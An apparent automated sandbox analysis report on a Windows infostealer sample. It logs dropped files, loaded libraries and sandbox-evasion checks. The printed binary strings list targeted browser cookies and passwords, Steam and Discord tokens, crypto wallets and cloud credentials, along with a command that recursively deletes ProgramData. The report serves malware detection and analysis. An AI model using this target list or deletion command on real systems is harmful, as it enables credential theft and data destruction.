Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Google Drive.lnk.20.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.20.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.20.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.20.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.20.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.20.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: random.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefgh
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdbA source: Rna.com, 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vdr1.pdb source: Rna.com, 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptosetup.pdbGCTL source: Rna.com, 0000000D.00000002.2671636108.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp, mycj5f.13.dr
Source:	Binary string: cryptosetup.pdb source: Rna.com, 0000000D.00000002.2671636108.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp, mycj5f.13.dr
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdb source: Rna.com, 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: {"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefghi

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: random.exe

Static PE information: real checksum: 0xeb12b should be: 0xe2149

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CAC0A3 push cs; iretd	13_2_00CAC0A5
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB02DD push eax; iretd	13_2_00CB02DE
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB02D4 push eax; iretd	13_2_00CB02DA
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB02E0 push eax; iretd	13_2_00CB02E2
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB02E4 push eax; iretd	13_2_00CB02E6
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB02FC push ecx; iretd	13_2_00CB0302
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB02F3 push eax; iretd	13_2_00CB02F6
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF63FC push ebx; iretd	13_2_00CF63FF
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF63F1 push esp; iretd	13_2_00CF63F3
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB0308 push ecx; iretd	13_2_00CB030A
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB030C push ecx; iretd	13_2_00CB030E
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB0305 push ecx; iretd	13_2_00CB0306
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB0320 push eax; iretd	13_2_00CB0322
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB0327 push eax; iretd	13_2_00CB032E
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB0330 push eax; iretd	13_2_00CB0336
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB0337 push eax; iretd	13_2_00CB033A
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF6442 push ebp; iretd	13_2_00CF6443
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF6401 push esp; iretd	13_2_00CF6407
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF641D push esp; iretd	13_2_00CF642B
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF643E push ebp; iretd	13_2_00CF643F
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF6431 push ebp; iretd	13_2_00CF6433
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB29D3 push ds; retf	13_2_00CB29D6
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC0DE6 push ecx; ret	13_2_00CC0DF9
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CBEE86 push FFFFFFF6h; iretd	13_2_00CBEE8B
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF6E5C push 1B7900CFh; retf	13_2_00CF6E65
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF6E54 push 1B7900CFh; retf	13_2_00CF6E59
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CF3202 push ds; iretd	13_2_00CF3203
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB1781 push edi; iretd	13_2_00CB1782
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB1768 push cs; retf	13_2_00CB176A
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB1765 push cs; retf	13_2_00CB1766
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CB172A push ebp; iretd	13_2_00CB1736

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File created: C:\ProgramData\g4opz\mycj5f			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\190244\Rna.com			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

File created: C:\ProgramData\g4opz\mycj5f

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

File created: C:\ProgramData\g4opz\mycj5f

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D326DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		13_2_00D326DD
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CBFC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		13_2_00CBFC7C

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_13-102331

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Dropped PE file which has not been started: C:\ProgramData\g4opz\mycj5f

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

API coverage: 3.7 %

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D0DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_00D0DC54
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D1A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_00D1A087
